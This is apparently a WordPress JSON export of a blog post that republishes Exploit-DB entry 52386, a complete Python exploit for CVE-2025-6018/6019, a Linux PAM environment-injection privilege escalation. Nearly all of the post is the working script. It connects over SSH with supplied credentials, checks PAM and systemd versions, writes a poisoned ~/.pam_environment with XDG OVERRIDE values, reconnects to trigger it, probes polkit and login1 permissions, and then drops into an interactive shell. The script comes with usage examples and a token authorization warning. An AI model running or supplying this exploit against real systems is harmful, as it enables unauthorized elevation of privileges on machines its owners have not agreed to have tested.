{"id":9193,"date":"2025-07-29T03:36:42","date_gmt":"2025-07-29T03:36:42","guid":{"rendered":"http:\/\/localhost\/?p=9193"},"modified":"2025-07-29T03:36:42","modified_gmt":"2025-07-29T03:36:42","slug":"linux-pam-environment-variable-injection-local-privilege-escalation","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=9193","title":{"rendered":"Linux PAM Environment &#8211; Variable Injection Local Privilege Escalation"},"content":{"rendered":"<h2>Exploit Details<\/h2>\n<h3>Basic Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit Title<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">Linux PAM Environment &#8211; Variable Injection Local Privilege Escalation<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit ID<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">EDB-ID:52386<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Type<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">exploitdb<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Published<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-07-28T00:00:00<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Modified<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-07-28T00:00:00<\/td>\n<\/tr>\n<\/table>\n<h3>CVSS Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">CVSS Score<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">7.8<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Severity<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd; color: #ff4444; font-weight: bold;\">HIGH<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Vector<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">CVSS:3.1\/AV:L\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H<\/td>\n<\/tr>\n<\/table>\n<h3>CVE Information<\/h3>\n<div style=\" padding: 15px; border: 1px solid #ddd; margin-bottom: 20px;\">\n<ul style=\"margin: 0; padding-left: 20px;\">\n<li>CVE-2025-6018<\/li>\n<li>CVE-2025-6019<\/li>\n<\/ul>\n<\/div>\n<h3>Exploit Description<\/h3>\n<div style=\" padding: 15px; border-left: 4px solid #4CAF50; margin-bottom: 20px;\">\nExploit Title: Linux PAM Environment -&#8230;\n<\/div>\n<h3>Exploit Code<\/h3>\n<div style=\" color: #d4d4d4; padding: 15px; border: 1px solid #ddd; margin-bottom: 20px; font-family: 'Courier New', monospace; white-space: pre-wrap; overflow-x: auto;\">\n# Exploit Title: Linux PAM Environment &#8211; Variable Injection Local Privilege Escalation<br \/>\n<br \/># Exploit Author: @\u0130brahimsql<br \/>\n<br \/># Exploit Author&#8217;s github: https:\/\/github.com\/ibrahmsql<br \/>\n<br \/># Description: PAM pam_env.so module allows environment variable injection via ~\/.pam_environment<br \/>\n<br \/>#              leading to privilege escalation through SystemD session manipulation<br \/>\n<br \/># CVE: CVE-2025-6018, CVE-2025-6019<br \/>\n<br \/># Vendor Homepage: https:\/\/github.com\/linux-pam\/linux-pam<br \/>\n<br \/># Software Link: https:\/\/github.com\/linux-pam\/linux-pam\/releases<br \/>\n<br \/># Version: PAM 1.3.0 &#8211; 1.6.0 (vulnerable versions)<br \/>\n<br \/># Category: Local Privilege Escalation<br \/>\n<br \/># Requirements: paramiko>=2.12.0<br \/>\n<br \/># Usage: python3 cve_2025_6018_professional.py -i target_ip -u username -p password<br \/>\n<br \/># References:<br \/>\n<br \/>#   &#8211; https:\/\/access.redhat.com\/security\/cve\/CVE-2025-6018<br \/>\n<br \/>#   &#8211; https:\/\/bugzilla.redhat.com\/show_bug.cgi?id=2372693<br \/>\n<br \/>#   &#8211; https:\/\/bugzilla.suse.com\/show_bug.cgi?id=1243226<\/p>\n<p>import paramiko<br \/>\n<br \/>import time<br \/>\n<br \/>import sys<br \/>\n<br \/>import socket<br \/>\n<br \/>import argparse<br \/>\n<br \/>import logging<br \/>\n<br \/>from datetime import datetime<\/p>\n<p># Setup logging<br \/>\n<br \/>logging.basicConfig(<br \/>\n<br \/>    level=logging.INFO,<br \/>\n<br \/>    format=&#8217;%(asctime)s [%(levelname)s] %(message)s&#8217;,<br \/>\n<br \/>    datefmt=&#8217;%Y-%m-%d %H:%M:%S&#8217;,<br \/>\n<br \/>    handlers=[<br \/>\n<br \/>        logging.FileHandler(&#8216;cve_2025_6018_exploit.log&#8217;),<br \/>\n<br \/>        logging.StreamHandler(sys.stdout)<br \/>\n<br \/>    ]<br \/>\n<br \/>)<br \/>\n<br \/>logger = logging.getLogger(__name__)<\/p>\n<p>class CVEExploit:<br \/>\n<br \/>    def __init__(self):<br \/>\n<br \/>        self.vulnerable_versions = [<br \/>\n<br \/>            &#8220;pam-1.3.0&#8221;, &#8220;pam-1.3.1&#8221;, &#8220;pam-1.4.0&#8221;, &#8220;pam-1.5.0&#8221;,<br \/>\n<br \/>            &#8220;pam-1.5.1&#8221;, &#8220;pam-1.5.2&#8221;, &#8220;pam-1.5.3&#8221;, &#8220;pam-1.6.0&#8221;<br \/>\n<br \/>        ]<\/p>\n<p>    def check_vulnerability(self, client):<br \/>\n<br \/>        &#8220;&#8221;&#8221;Enhanced vulnerability detection&#8221;&#8221;&#8221;<br \/>\n<br \/>        logger.info(&#8220;Starting vulnerability assessment&#8221;)<\/p>\n<p>        checks = {<br \/>\n<br \/>            &#8220;pam_version&#8221;: &#8220;rpm -q pam || dpkg -l | grep libpam&#8221;,<br \/>\n<br \/>            &#8220;pam_env&#8221;: &#8220;find \/etc\/pam.d\/ -name &#8216;*&#8217; -exec grep -l &#8216;pam_env&#8217; {} \\\\; 2>\/dev\/null&#8221;,<br \/>\n<br \/>            &#8220;pam_systemd&#8221;: &#8220;find \/etc\/pam.d\/ -name &#8216;*&#8217; -exec grep -l &#8216;pam_systemd&#8217; {} \\\\; 2>\/dev\/null&#8221;,<br \/>\n<br \/>            &#8220;systemd_version&#8221;: &#8220;systemctl &#8211;version | head -1&#8221;<br \/>\n<br \/>        }<\/p>\n<p>        vulnerable = False<\/p>\n<p>        for check_name, command in checks.items():<br \/>\n<br \/>            logger.info(f&#8221;Executing check: {check_name}&#8221;)<br \/>\n<br \/>            try:<br \/>\n<br \/>                stdin, stdout, stderr = client.exec_command(command, timeout=10)<br \/>\n<br \/>                output = stdout.read().decode().strip()<\/p>\n<p>                if check_name == &#8220;pam_version&#8221;:<br \/>\n<br \/>                    for vuln_ver in self.vulnerable_versions:<br \/>\n<br \/>                        if vuln_ver in output:<br \/>\n<br \/>                            logger.info(f&#8221;Vulnerable PAM version detected: {vuln_ver}&#8221;)<br \/>\n<br \/>                            vulnerable = True<br \/>\n<br \/>                            break<\/p>\n<p>                elif check_name == &#8220;pam_env&#8221; and output:<br \/>\n<br \/>                    logger.info(&#8220;pam_env.so configuration found&#8221;)<br \/>\n<br \/>                    vulnerable = True<\/p>\n<p>                elif check_name == &#8220;pam_systemd&#8221; and output:<br \/>\n<br \/>                    logger.info(&#8220;pam_systemd.so found &#8211; escalation vector available&#8221;)<\/p>\n<p>                if output and check_name != &#8220;pam_version&#8221;:<br \/>\n<br \/>                    logger.debug(f&#8221;Command output: {output[:100]}&#8230;&#8221;)<\/p>\n<p>            except Exception as e:<br \/>\n<br \/>                logger.warning(f&#8221;Check {check_name} failed: {e}&#8221;)<\/p>\n<p>            time.sleep(0.5)<\/p>\n<p>        return vulnerable<\/p>\n<p>    def create_malicious_environment(self, client):<br \/>\n<br \/>        &#8220;&#8221;&#8221;Create enhanced .pam_environment file&#8221;&#8221;&#8221;<br \/>\n<br \/>        logger.info(&#8220;Creating malicious environment file&#8221;)<\/p>\n<p>        payload = &#8221;&#8217;# CVE-2025-6018 Environment Poisoning<br \/>\n<br \/>XDG_SEAT OVERRIDE=seat0<br \/>\n<br \/>XDG_VTNR OVERRIDE=1<br \/>\n<br \/>XDG_SESSION_TYPE OVERRIDE=x11<br \/>\n<br \/>XDG_SESSION_CLASS OVERRIDE=user<br \/>\n<br \/>XDG_RUNTIME_DIR OVERRIDE=\/tmp\/runtime<br \/>\n<br \/>SYSTEMD_LOG_LEVEL OVERRIDE=debug&#8221;&#8217;<\/p>\n<p>        try:<br \/>\n<br \/>            logger.info(&#8220;Writing .pam_environment file&#8221;)<br \/>\n<br \/>            cmd = f&#8221;cat > ~\/.pam_environment << 'EOF'\\n{payload}\\nEOF\"\n<br \/>            stdin, stdout, stderr = client.exec_command(cmd)<\/p>\n<p>            # Verify creation<br \/>\n<br \/>            stdin, stdout, stderr = client.exec_command(&#8220;cat ~\/.pam_environment&#8221;)<br \/>\n<br \/>            output = stdout.read().decode()<\/p>\n<p>            if &#8220;OVERRIDE&#8221; in output:<br \/>\n<br \/>                logger.info(&#8220;Malicious environment file created successfully&#8221;)<br \/>\n<br \/>                return True<br \/>\n<br \/>            else:<br \/>\n<br \/>                logger.error(&#8220;Failed to create environment file&#8221;)<br \/>\n<br \/>                return False<\/p>\n<p>        except Exception as e:<br \/>\n<br \/>            logger.error(f&#8221;Environment poisoning failed: {e}&#8221;)<br \/>\n<br \/>            return False<\/p>\n<p>    def test_privilege_escalation(self, client):<br \/>\n<br \/>        &#8220;&#8221;&#8221;Test privilege escalation vectors&#8221;&#8221;&#8221;<br \/>\n<br \/>        logger.info(&#8220;Testing privilege escalation vectors&#8221;)<\/p>\n<p>        tests = [<br \/>\n<br \/>            (&#8220;SystemD Reboot&#8221;, &#8220;gdbus call &#8211;system &#8211;dest org.freedesktop.login1 &#8211;object-path \/org\/freedesktop\/login1 &#8211;method org.freedesktop.login1.Manager.CanReboot&#8221;, &#8220;yes&#8221;),<br \/>\n<br \/>            (&#8220;SystemD Shutdown&#8221;, &#8220;gdbus call &#8211;system &#8211;dest org.freedesktop.login1 &#8211;object-path \/org\/freedesktop\/login1 &#8211;method org.freedesktop.login1.Manager.CanPowerOff&#8221;, &#8220;yes&#8221;),<br \/>\n<br \/>            (&#8220;PolicyKit Check&#8221;, &#8220;pkcheck &#8211;action-id org.freedesktop.policykit.exec &#8211;process $$ 2>\/dev\/null || echo &#8216;denied'&#8221;, &#8220;authorized&#8221;)<br \/>\n<br \/>        ]<\/p>\n<p>        escalated = False<\/p>\n<p>        for test_name, command, success_indicator in tests:<br \/>\n<br \/>            logger.info(f&#8221;Testing: {test_name}&#8221;)<br \/>\n<br \/>            try:<br \/>\n<br \/>                stdin, stdout, stderr = client.exec_command(command, timeout=10)<br \/>\n<br \/>                output = stdout.read().decode().strip()<\/p>\n<p>                if success_indicator in output.lower():<br \/>\n<br \/>                    logger.info(f&#8221;PRIVILEGE ESCALATION DETECTED: {test_name}&#8221;)<br \/>\n<br \/>                    escalated = True<br \/>\n<br \/>                else:<br \/>\n<br \/>                    logger.info(f&#8221;No escalation detected: {test_name}&#8221;)<\/p>\n<p>            except Exception as e:<br \/>\n<br \/>                logger.warning(f&#8221;Test {test_name} failed: {e}&#8221;)<\/p>\n<p>        return escalated<\/p>\n<p>    def interactive_shell(self, client):<br \/>\n<br \/>        &#8220;&#8221;&#8221;Professional interactive shell&#8221;&#8221;&#8221;<br \/>\n<br \/>        logger.info(&#8220;Starting interactive shell session&#8221;)<\/p>\n<p>        shell = client.invoke_shell()<br \/>\n<br \/>        shell.send(&#8220;export PS1=&#8217;exploit$ &#8216;\\n&#8221;)<br \/>\n<br \/>        time.sleep(1)<\/p>\n<p>        # Clear buffer<br \/>\n<br \/>        while shell.recv_ready():<br \/>\n<br \/>            shell.recv(1024)<\/p>\n<p>        print(&#8220;\\n&#8212; Interactive Shell &#8212;&#8220;)<br \/>\n<br \/>        print(&#8220;Commands: &#8216;exit&#8217; to quit, &#8216;status&#8217; for privilege check&#8221;)<\/p>\n<p>        while True:<br \/>\n<br \/>            try:<br \/>\n<br \/>                command = input(&#8220;exploit$ &#8220;)<\/p>\n<p>                if command.lower() == &#8216;exit&#8217;:<br \/>\n<br \/>                    break<br \/>\n<br \/>                elif command.lower() == &#8216;status&#8217;:<br \/>\n<br \/>                    stdin, stdout, stderr = client.exec_command(&#8220;id &#038;&#038; groups&#8221;)<br \/>\n<br \/>                    print(stdout.read().decode())<br \/>\n<br \/>                    continue<\/p>\n<p>                shell.send(command + &#8220;\\n&#8221;)<br \/>\n<br \/>                time.sleep(0.5)<\/p>\n<p>                while shell.recv_ready():<br \/>\n<br \/>                    output = shell.recv(1024).decode(&#8216;utf-8&#8242;, errors=&#8217;ignore&#8217;)<br \/>\n<br \/>                    print(output, end=&#8221;)<\/p>\n<p>            except KeyboardInterrupt:<br \/>\n<br \/>                logger.warning(&#8220;Use &#8216;exit&#8217; to quit properly&#8221;)<br \/>\n<br \/>            except Exception as e:<br \/>\n<br \/>                logger.error(f&#8221;Shell error: {e}&#8221;)<br \/>\n<br \/>                break<\/p>\n<p>    def run_exploit(self, hostname, username, password=None, key_filename=None, port=22):<br \/>\n<br \/>        &#8220;&#8221;&#8221;Main exploit execution&#8221;&#8221;&#8221;<br \/>\n<br \/>        logger.info(f&#8221;Starting CVE-2025-6018 exploit against {hostname}:{port}&#8221;)<\/p>\n<p>        try:<br \/>\n<br \/>            # Initial connection<br \/>\n<br \/>            client = paramiko.SSHClient()<br \/>\n<br \/>            client.set_missing_host_key_policy(paramiko.AutoAddPolicy())<\/p>\n<p>            logger.info(f&#8221;Connecting to {hostname}:{port} as {username}&#8221;)<br \/>\n<br \/>            client.connect(hostname, port=port, username=username,<br \/>\n<br \/>                           password=password, key_filename=key_filename, timeout=10)<br \/>\n<br \/>            logger.info(&#8220;SSH connection established&#8221;)<\/p>\n<p>            # Check vulnerability<br \/>\n<br \/>            if not self.check_vulnerability(client):<br \/>\n<br \/>                logger.error(&#8220;Target does not appear vulnerable to CVE-2025-6018\/6019&#8221;)<br \/>\n<br \/>                return False<\/p>\n<p>            logger.info(&#8220;Target appears vulnerable, proceeding with exploitation&#8221;)<\/p>\n<p>            # Create malicious environment<br \/>\n<br \/>            if not self.create_malicious_environment(client):<br \/>\n<br \/>                logger.error(&#8220;Failed to create malicious environment&#8221;)<br \/>\n<br \/>                return False<\/p>\n<p>            logger.info(&#8220;Reconnecting to trigger PAM environment loading&#8221;)<br \/>\n<br \/>            client.close()<br \/>\n<br \/>            time.sleep(2)<\/p>\n<p>            # Reconnect to trigger PAM<br \/>\n<br \/>            client = paramiko.SSHClient()<br \/>\n<br \/>            client.set_missing_host_key_policy(paramiko.AutoAddPolicy())<br \/>\n<br \/>            client.connect(hostname, port=port, username=username,<br \/>\n<br \/>                           password=password, key_filename=key_filename)<br \/>\n<br \/>            logger.info(&#8220;Reconnection successful&#8221;)<\/p>\n<p>            # Test privilege escalation<br \/>\n<br \/>            if self.test_privilege_escalation(client):<br \/>\n<br \/>                logger.info(&#8220;EXPLOITATION SUCCESSFUL &#8211; Privilege escalation confirmed&#8221;)<br \/>\n<br \/>                self.interactive_shell(client)<br \/>\n<br \/>            else:<br \/>\n<br \/>                logger.warning(&#8220;No clear privilege escalation detected&#8221;)<br \/>\n<br \/>                logger.info(&#8220;Manual verification may be required&#8221;)<\/p>\n<p>            return True<\/p>\n<p>        except paramiko.AuthenticationException:<br \/>\n<br \/>            logger.error(&#8220;Authentication failed &#8211; check credentials&#8221;)<br \/>\n<br \/>        except paramiko.SSHException as e:<br \/>\n<br \/>            logger.error(f&#8221;SSH error: {e}&#8221;)<br \/>\n<br \/>        except socket.error as e:<br \/>\n<br \/>            logger.error(f&#8221;Network error: {e}&#8221;)<br \/>\n<br \/>        except Exception as e:<br \/>\n<br \/>            logger.error(f&#8221;Unexpected error: {e}&#8221;)<br \/>\n<br \/>        finally:<br \/>\n<br \/>            try:<br \/>\n<br \/>                client.close()<br \/>\n<br \/>            except:<br \/>\n<br \/>                pass<br \/>\n<br \/>            logger.info(&#8220;Connection closed&#8221;)<\/p>\n<p>        return False<\/p>\n<p>def main():<br \/>\n<br \/>    parser = argparse.ArgumentParser(<br \/>\n<br \/>        description=&#8221;CVE-2025-6018\/6019 PAM Environment Injection Exploit&#8221;,<br \/>\n<br \/>        formatter_class=argparse.RawDescriptionHelpFormatter,<br \/>\n<br \/>        epilog=&#8221;&#8221;&#8221;<br \/>\n<br \/>Examples:<br \/>\n<br \/>  python3 %(prog)s -i 192.168.1.100 -u testuser -p password123<br \/>\n<br \/>  python3 %(prog)s -i target.com -u admin -k ~\/.ssh\/id_rsa<br \/>\n<br \/>        &#8220;&#8221;&#8221;<br \/>\n<br \/>    )<\/p>\n<p>    parser.add_argument(&#8220;-i&#8221;, &#8220;&#8211;hostname&#8221;, required=True, help=&#8221;Target hostname or IP&#8221;)<br \/>\n<br \/>    parser.add_argument(&#8220;-u&#8221;, &#8220;&#8211;username&#8221;, required=True, help=&#8221;SSH username&#8221;)<br \/>\n<br \/>    parser.add_argument(&#8220;-p&#8221;, &#8220;&#8211;password&#8221;, help=&#8221;SSH password&#8221;)<br \/>\n<br \/>    parser.add_argument(&#8220;-k&#8221;, &#8220;&#8211;key&#8221;, dest=&#8221;key_filename&#8221;, help=&#8221;SSH private key file&#8221;)<br \/>\n<br \/>    parser.add_argument(&#8220;&#8211;port&#8221;, type=int, default=22, help=&#8221;SSH port (default: 22)&#8221;)<br \/>\n<br \/>    parser.add_argument(&#8220;-v&#8221;, &#8220;&#8211;verbose&#8221;, action=&#8221;store_true&#8221;, help=&#8221;Enable verbose logging&#8221;)<\/p>\n<p>    args = parser.parse_args()<\/p>\n<p>    if args.verbose:<br \/>\n<br \/>        logging.getLogger().setLevel(logging.DEBUG)<\/p>\n<p>    if not args.password and not args.key_filename:<br \/>\n<br \/>        parser.error(&#8220;Provide either password (-p) or private key (-k)&#8221;)<\/p>\n<p>    # Security warning<br \/>\n<br \/>    logger.warning(&#8220;Use only with proper authorization!&#8221;)<\/p>\n<p>    exploit = CVEExploit()<br \/>\n<br \/>    success = exploit.run_exploit(<br \/>\n<br \/>        hostname=args.hostname,<br \/>\n<br \/>        username=args.username,<br \/>\n<br \/>        password=args.password,<br \/>\n<br \/>        key_filename=args.key_filename,<br \/>\n<br \/>        port=args.port<br \/>\n<br \/>    )<\/p>\n<p>    sys.exit(0 if success else 1)<\/p>\n<p>if __name__ == &#8220;__main__&#8221;:<br \/>\n<br \/>    main()\n<\/div>\n<p><a href=\"https:\/\/www.exploit-db.com\/exploits\/52386\" target=\"_blank\" style=\"display: inline-block;  color: white; padding: 10px 20px; text-decoration: none; border-radius: 4px;\">View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Exploit Details Basic Information Exploit Title Linux PAM Environment &#8211; Variable Injection Local Privilege Escalation Exploit ID EDB-ID:52386 Type exploitdb Published 2025-07-28T00:00:00 Modified 2025-07-28T00:00:00 CVSS&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,28,12,40,15,13,7,11,5],"class_list":["post-9193","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-78","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Linux PAM Environment - Variable Injection Local Privilege Escalation - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=9193\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Linux PAM Environment - Variable Injection Local Privilege Escalation - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Exploit Details Basic Information Exploit Title Linux PAM Environment &#8211; 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